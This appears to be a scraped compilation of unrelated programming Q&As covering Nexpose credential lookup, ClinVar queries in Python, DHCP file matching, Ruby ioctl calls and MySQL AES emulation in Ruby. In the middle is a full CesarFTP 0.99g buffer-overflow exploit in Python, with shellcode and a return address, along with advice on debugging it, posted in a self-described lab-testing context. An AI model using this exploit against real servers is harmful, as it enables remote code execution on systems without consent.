I have a range of ip addresses that thanks to some google fu I have been able to take the range and convert to an array of IP addresses. However I am running out of memory when the script is ran against a range of say 10.234.xxx.1/24. As such I am trying to see if there is a way to pull out a subset of 32 addresses so that I don't have this extra memory usage.
ips.each do |ip|
ip_from = ip.instance_of?(Nexpose::HostName) ? ip.host : (ip.from..ip.to).map(&:to_s)
ip_from2 = ip_from.select{ |i| /[0-9]*\.[0-9]*\.[0-9]*\.([2-3][0-9]|64)$/ =~ i }
ip_from2.each do |ip2|
log.log_debug_message("Getting credentials for #{ip2}")
secret_summary = ss.get_secret_id(token, ip2)
unless secret_summary.nil?
log.log_debug_message("Found credentials for #{ip2}")
# Gets OS
asset_data = {}
asset_data[:ip] = ip2
res = ss.get_secret_simple(token, secret_summary[:secret_id])
asset_data[:username] = res[:username]
asset_data[:password] = res[:password]
credential = Nexpose::SiteCredential.for_service(ss.check_type(secret_summary[:secret_type]),
asset_data[:username],
asset_data[:password],
nil,
ip2)
I would like to only have it hold 32 addresses in the array as you can see in the select statement on line 3. Any help is appreciated.
Sidenote: I have modified the nexpose_thycotic gem to make this work for my purposes. I am working through rapid7 as well but I was hoping someone on StackOverflow may be able to answer a little quicker as this is a time sensitive matter.
Related
[Disclaimer: I have published this question 3 weeks ago in biostars, with no answers yet. I really would like to get some ideas/discussion to find a solution, so I post also here.
biostars post link: https://www.biostars.org/p/447413/]
For one of my projects of my PhD, I would like to access all variants, found in ClinVar db, that are in the same genomic position as the variant in each row of the input GSVar file. The language constraint is Python.
Up to now I have used entrezpy module: entrezpy.esearch.esearcher. Please see more for entrezpy at: https://entrezpy.readthedocs.io/en/master/
From the entrezpy docs I have followed this guide to access UIDs using the genomic position of a variant: https://entrezpy.readthedocs.io/en/master/tutorials/esearch/esearch_uids.html in code:
# first get UIDs for clinvar records of the same position
# credits: credits: https://entrezpy.readthedocs.io/en/master/tutorials/esearch/esearch_uids.html
chr = variants["chr"].split("chr")[1]
start, end = str(variants["start"]), str(variants["end"])
es = entrezpy.esearch.esearcher.Esearcher('esearcher', self.entrez_email)
genomic_pos = chr + "[chr]" + " AND " + start + ":" + end # + "[chrpos37]"
entrez_query = es.inquire(
{'db': 'clinvar',
'term': genomic_pos,
'retmax': 100000,
'retstart': 0,
'rettype': 'uilist'}) # 'usehistory': False
entrez_uids = entrez_query.get_result().uids
Then I have used Entrez from BioPython to get the available ClinVar records:
# process each VariationArchive of each UID
handle = Entrez.efetch(db='clinvar', id=current_entrez_uids, rettype='vcv')
clinvar_records = {}
tree = ET.parse(handle)
root = tree.getroot()
This approach is working. However, I have two main drawbacks:
entrezpy fulls up my log file recording all interaction with Entrez making the log file too big to be read by the hospital collaborator, who is variant curator.
entrezpy function, entrez_query.get_result().uids, will return all UIDs retrieved so far from all the requests (say a request for each variant in GSvar), thus this space inefficient retrieval. That is the entrez_uids list will quickly grow a lot as I process all variants from a GSVar file. The simple solution that I have implenented is to check which UIDs are new from the current request and then keep only those for Entrez.fetch(). However, I still need to keep all seen UIDs, from previous variants in order to be able to know which is the new UIDs. I do this in code by:
# first snippet's first lines go here
entrez_uids = entrez_query.get_result().uids
current_entrez_uids = [uid for uid in entrez_uids if uid not in self.all_entrez_uids_gsvar_file]
self.all_entrez_uids_gsvar_file += current_entrez_uids
Does anyone have suggestion(s) on how to address these two presented drawbacks?
I have two questions regarding the following code:
import subprocess
macSource1 = (r"\\Server\path\name\here\dhcp-dump.txt")
macSource2 = (r"\\Server\path\name\here\dhcp-dump-ops.txt")
with open (r"specific-pcs.txt") as file:
line = []
for line in file:
pcName = line.strip().upper()
with open (macSource1) as source1, open (macSource2) as source2:
items = []
for items in source1:
if pcName in items:
items_split = items.rstrip("\n").split('\t')
ip = items_split[0]
mac = items_split[4]
mac2 = ':'.join(s.encode('hex') for s in mac.decode('hex')).lower() # Puts the :'s between the pairs.
print mac2
print pcName
print ip
Firstly, as you can see, the script is searching for the contents of "specific-pcs.txt" against the contents of macSource1 to get various details. How do I get it to search against BOTH macSource1 & 2 (as the details could be in either file)??
And secondly, I need to have a stricter matching process as at the moment a machine called 'itroom02' will not only find it's own details, but also provide the details for another machine called '2nd-itroom02'. How would I get that?
Many thanks for your assistance in advance!
Chris.
Perhaps you should restructure it a bit more like this:
macSources = [ r"\\Server\path\name\here\dhcp-dump.txt",
r"\\Server\path\name\here\dhcp-dump-ops.txt" ]
with open (r"specific-pcs.txt") as file:
for line in file:
# ....
for target in macSources:
with open (target) as source:
for items in source:
# ....
There's no need to do e.g. line = [] immediately before you do for line in ...:.
As far as the "stricter matching" goes, since you don't give examples of the format of your files, I can only guess - but you might want to try something like if items_split[1] == pcName: after you've done the split, instead of the if pcName in items: before you split (assuming the name is in the second column - adjust accordingly if not).
Using Getting essid via ioctl in ruby as a template I wanted to get the BSSID rather than the ESSID. However, not being a C developer, there are a few things that I don't understand.
What I have so far which does not work :( ...
NOTE I'm a bit confused because part of me thinks, according to some comments in wireless.h, that the BSSID can only be set via ioctl. However, the ioctl to get exists. That along with my almost complete lack of understanding of the more intermediate C type isms (structs, unions, and stuff ;) ), I simply don't know.
def _get_bssid(interface)
# Copied from wireless.h
# supposing a 16 byte address and 32 byte buffer but I'm totally
# guessing here.
iwreq = [interface, '' * 48,0].pack('a*pI')
sock = Socket.new(Socket::AF_INET, Socket::SOCK_DGRAM, 0)
# from wireless.h
# SIOCGIWAP 0x8B15 /* get access point MAC addresses */
sock.ioctl('0x8B15', iwreq) # always get an error: Can't convert string to Integer
puts iwreq.inspect
end
So, in the meantime, I'm using a wpa_cli method for grabbing the BSSID but I'd prefer to use IOCTL:
def _wpa_status(interface)
wpa_data = nil
unless interface.nil?
# need to write a method to get the src_sock_path
# programmatically. Fortunately, for me
# this is going to be the correct sock path 99% of the time.
# Ideas to get programmatically would be:
# parse wpa_supplicant.conf
# check process table | grep wpa_suppl | parse arguments
src_sock_path = '/var/run/wpa_supplicant/' + interface
else
return nil
end
client_sock_path = '/var/run/hwinfo_wpa'
# open Domain socket
socket = Socket.new(Socket::AF_UNIX, Socket::SOCK_DGRAM, 0)
begin
# bind client domain socket
socket.bind(Socket.pack_sockaddr_un(client_sock_path))
# connect to server with our client socket
socket.connect(Socket.pack_sockaddr_un(src_sock_path))
# send STATUS command
socket.send('STATUS', 0)
# receive 1024 bytes (totally arbitrary value)
# split lines by \n
# store in variable wpa_data.
wpa_data = socket.recv(1024)
rescue => e
$stderr.puts 'WARN: unable to gather wpa data: ' + e.inspect
end
# close or next time we attempt to read it will fail.
socket.close
begin
# remove the domain socket file for the client
File.unlink(client_sock_path)
rescue => e
$stderr.puts 'WARN: ' + e.inspect
end
unless wpa_data.nil?
#wifis = Hash[wpa_data.split(/\n/).map\
{|line|
# first, split into pairs delimited by '='
key,value = line.split('=')
# if key is camel-humped then put space in front
# of capped letter
if key =~ /[a-z][A-Z]/
key.gsub!(/([a-z])([A-Z])/,'\\1_\\2')
end
# if key is "id" then rename it.
key.eql?('id') && key = 'wpa_id'
# fix key so that it can be used as a table name
# by replacing spaces with underscores
key.gsub!(' ','_')
# lower case it.
key.downcase!
[key,value]
}]
end
end
EDIT:
So far nobody has been able to answer this question. I think I'm liking the wpa method better anyway because I'm getting more data from it. That said, one call-out I'd like to make is if anyone uses the wpa code, be aware that it will require escalated privileges to read the wlan socket.
EDIT^2 (full code snippet):
Thanks to #dasup I've been able to re-factor my class to correctly pull the bssid and essids using system ioctls. (YMMV given the implementation, age, and any other possible destabilization thing to your Linux distribution - the following code snippet works with the 3.2 and 3.7 kernels though.)
require 'socket'
class Wpa
attr_accessor :essid, :bssid, :if
def initialize(interface)
#if = interface
puts 'essid: ' + _get_essid.inspect
puts 'bssid: ' + _get_bssid.inspect
end
def _get_essid
# Copied from wireless.h
iwreq = [#if, " " * 32, 32, 0 ].pack('a16pII')
sock = Socket.new(Socket::AF_INET, Socket::SOCK_DGRAM, 0)
sock.ioctl(0x8B1B, iwreq)
#essid = iwreq.unpack('#16p').pop.strip
end
def _get_bssid
# Copied from wireless.h
# supposing a 16 byte address and 32 byte buffer but I'm totally
# guessing here.
iwreq = [#if, "\0" * 32].pack('a16a32')
sock = Socket.new(Socket::AF_INET, Socket::SOCK_DGRAM, 0)
# from wireless.h
# SIOCGIWAP 0x8B15 /* get access point MAC addresses */
sock.ioctl(0x8B15, iwreq) # always get an error: Can't convert string to Integer
#bssid = iwreq.unpack('#18H2H2H2H2H2H2').join(':')
end
end
h = Wpa.new('wlan0')
I'm not very much familiar with Ruby, but I spotted two mistakes:
The hex number for SIOCGIWAP should be given without quotes/ticks.
The initialization of the data buffer ends up with some trailing bytes after the interface name (debugged using gdb). The initialization given below works.
Be aware that your code will break if any of the data structures or constants change (IFNAMSIZ, sa_family, struct sockaddr etc.) However, I don't think that such changes are likely anytime soon.
require 'socket'
def _get_bssid(interface)
# Copied from wireless.h
# supposing a 16 byte address and 32 byte buffer but I'm totally
# guessing here.
iwreq = [interface, "\0" * 32].pack('a16a32')
sock = Socket.new(Socket::AF_INET, Socket::SOCK_DGRAM, 0)
# from wireless.h
# SIOCGIWAP 0x8B15 /* get access point MAC addresses */
sock.ioctl(0x8B15, iwreq) # always get an error: Can't convert string to Integer
puts iwreq.inspect
end
You'll get back an array/buffer with:
The interface name you sent, padded with 0x00 bytes to a total length of 16 bytes.
Followed by a struct sockaddr, i.e. a two-byte identifier 0x01 0x00 (coming from ARPHRD_ETHER?) followed by the BSSID padded with 0x00 bytes to a total length of 14 bytes.
Good luck!
I tested on my server that has cesarftp running. I debugged the ftp server on the server using ollydbg.
The exploit I used is http://www.exploit-db.com/exploits/1906/
#!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [h07#interia.pl]
#Date: 10.06.2006
from socket import *
shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
def intel_order(i):
a = chr(i % 256)
i = i >> 8
b = chr(i % 256)
i = i >> 8
c = chr(i % 256)
i = i >> 8
d = chr(i % 256)
str = "%c%c%c%c" % (a, b, c, d)
return str
host = "192.168.0.1"
port = 21
user = "ftp"
password = "ftp"
EIP = 0x773D10A4 #jmp esp <shell32.dll XP professional sp2 english>
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)
s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)
buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3 + intel_order(EIP)
buffer += "\x90" * 40 + shellcode
buffer += "\r\n"
print "len: %d" % (len(buffer))
s.send(buffer)
print s.recv(1024)
s.close()
#EoF
# milw0rm.com [2006-06-12]
I changed the "JMP ESP" address to the correct one (as the server is not running Polish XP; it's running English XP. I found this using executable modules on ollydbg and searching for command "JMP ESP".)
However, the exploit failed to execute properly, and after logging in, the ftp server just crashed, not bringing up shell.
It seems to me that the code only needs modification on "JMP ESP" area..
What did I do wrong?
Edit: the shellcode seems to, if properly executed, bring up calc.exe. This didn't happen. And obviously, there was no shell obtained.
It's possible the vulnerable function is not copying your data with strcpy() but with strcat(). This is a common rookie mistake when writing exploits by trial and error.
Since the value being read is supposed to be a path, it's possible that what's really happening here is that your string is being concatenated to the path of the root of the FTP server.
If that happens, then you not only have to change the just address but the offset to it in the payload string (the "671" value). Unfortunately this would also mean the exploit will depend on knowing the exact location of the FTP root.
To make sure you'll have to attach a debugger and see what's going on before and after the payload is sent. Try the following:
Attach the debugger to the FTP server.
Run the exploit. It will crash the server.
Now EIP will point to 0x90909090 or 0x0d0d0d0d. Examine the stack until you find a valid pointer to code (the return address of a parent function).
Now kill the server and start it over.
Attach the debugger again, and set a breakpoint at the beginning of that parent function you found.
Run the exploit again. Now the breakpoint should hit. Run the code step by step until you find the vulnerable function. Now you'll be able to see which function has the bug and what the stack looks like before you smash it.
I need to mimic what MySQL does when encrypting and decrypting strings using built-in functions AES_ENCRYPT() and AES_DECRYPT().
I have read a couple of blog posts and apparently MySQL uses AES 128-bit encryption for those functions. On top of that, since this encryption requires a 16-bit key, MySQL pads the string with x0 chars (\0s) until it's 16-bit in size.
The algorithm in C from MySQL source code is spotted here.
Now I need to replicate what MySQL does in a Rails application, but every single thing I tried, doesn't work.
Here's a way to replicate the behavior I am getting:
1) Create a new Rails app
rails encryption-test
cd encryption-test
2) Create a new scaffolding
script/generate scaffold user name:string password:binary
3) Edit your config/database.yml and add a test MySQL database
development:
adapter: mysql
host: localhost
database: test
user: <<user>>
password: <<password>>
4) Run the migration
rake db:migrate
5) Enter console, create an user and update its password from MySQL query
script/console
Loading development environment (Rails 2.2.2)
>> User.create(:name => "John Doe")
>> key = "82pjd12398JKBSDIGUSisahdoahOUASDHsdapdjqwjeASIduAsdh078asdASD087asdADSsdjhA7809asdajhADSs"
>> ActiveRecord::Base.connection.execute("UPDATE users SET password = AES_ENCRYPT('password', '#{key}') WHERE name='John Doe'")
That's where I got stuck. If I attempt to decrypt it, using MySQL it works:
>> loaded_user = User.find_by_sql("SELECT AES_DECRYPT(password, '#{key}') AS password FROM users WHERE id=1").first
>> loaded_user['password']
=> "password"
However if I attempt to use OpenSSL library, there's no way I can make it work:
cipher = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
cipher.padding = 0
cipher.key = key
cipher.decrypt
user = User.find(1)
cipher.update(user.password) << cipher.final #=> "########gf####\027\227"
I have tried padding the key:
desired_length = 16 * ((key.length / 16) + 1)
padded_key = key + "\0" * (desired_length - key.length)
cipher = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
cipher.key = key
cipher.decrypt
user = User.find(1)
cipher.update(user.password) << cipher.final #=> ""|\e\261\205:\032s\273\242\030\261\272P##"
But it really doesn't work.
Does anyone have a clue on how can I mimic the MySQL AES_ENCRYPT() and AES_DECRYPT() functions behavior in Ruby?
Thanks!
For future reference:
According to the blog post I sent before, here's how MySQL works with
the key you provide AES_ENCRYPT / DECRYPT:
"The algorithm just creates a 16 byte
buffer set to all zero, then loops
through all the characters of the
string you provide and does an
assignment with bitwise OR between the
two values. If we iterate until we
hit the end of the 16 byte buffer, we
just start over from the beginning
doing ^=. For strings shorter than 16
characters, we stop at the end of the
string."
I don't know if you can read C, but here's the mentioned snippet:
http://pastie.org/425161
Specially this part:
bzero((char*) rkey,AES_KEY_LENGTH/8); /* Set initial key */
for (ptr= rkey, sptr= key; sptr < key_end; ptr++,sptr++)
{
if (ptr == rkey_end)
ptr= rkey; /* Just loop over tmp_key until we used all key */
*ptr^= (uint8) *sptr;
}
So I came up with this method (with a help from Rob Biedenharn, from ruby forum):
def mysql_key(key)
final_key = "\0" * 16
key.length.times do |i|
final_key[i%16] ^= key[i]
end
final_key
end
That, given a string returns the key MySQL uses when encrypting and decrypting. So all you need now is:
def aes(m,k,t)
(aes = OpenSSL::Cipher::AES128.new("ECB").send(m)).key = k
aes.update(t) << aes.final
end
def encrypt(key, text)
aes(:encrypt, key, text)
end
def decrypt(key, text)
aes(:decrypt, key, text)
end
To use openssl lib, built into ruby, and then you can make the two "final" methods:
def mysql_encrypt(s, key)
encrypt(mysql_key(key), s)
end
def mysql_decrypt(s, key)
decrypt(mysql_key(key), s)
end
And you're set! Also, complete code can be found in this Gist:
http://gist.github.com/84093
:-)
Generally you don't want to pad the key, you pad/unpad the data to be encrypted/decrypted. That could be another source of problems. I suggest using test data of a complete number of blocks to eliminate this possibility.
Also, I suspect the key for the OpenSSL API requires a "literal" key, not an ASCII representation of the key as you have in your code.
Given the paucity of the OpenSSL ruby docs and if you speak a little Java, you may want to prototype in JRuby with the BouncyCastle provider - this is something that I've done to good effect when working with TwoFish (not present in OpenSSL API).
EDIT: I re-read your comment about padding the key. You have some bits/bytes confusion in your question, and I'm not sure how this applies in any case since your posted key is 89 characters (712 bits) in length. Perhaps you should try with a 128 bit key/password to eliminate this padding phenomenon?
Incidentally, MySQL devs should be spanked for weak crypto, there are better ways to stretch passwords than by simply padding with zero bytes :(
If you don't mind using an openssl implementation attr_encrypted is a gem that will allow drop-in encryption on most classes, ActiveRecord or not. It unfortunately will not be compatible with MySQL's AES_EN/DECRYPT functions though.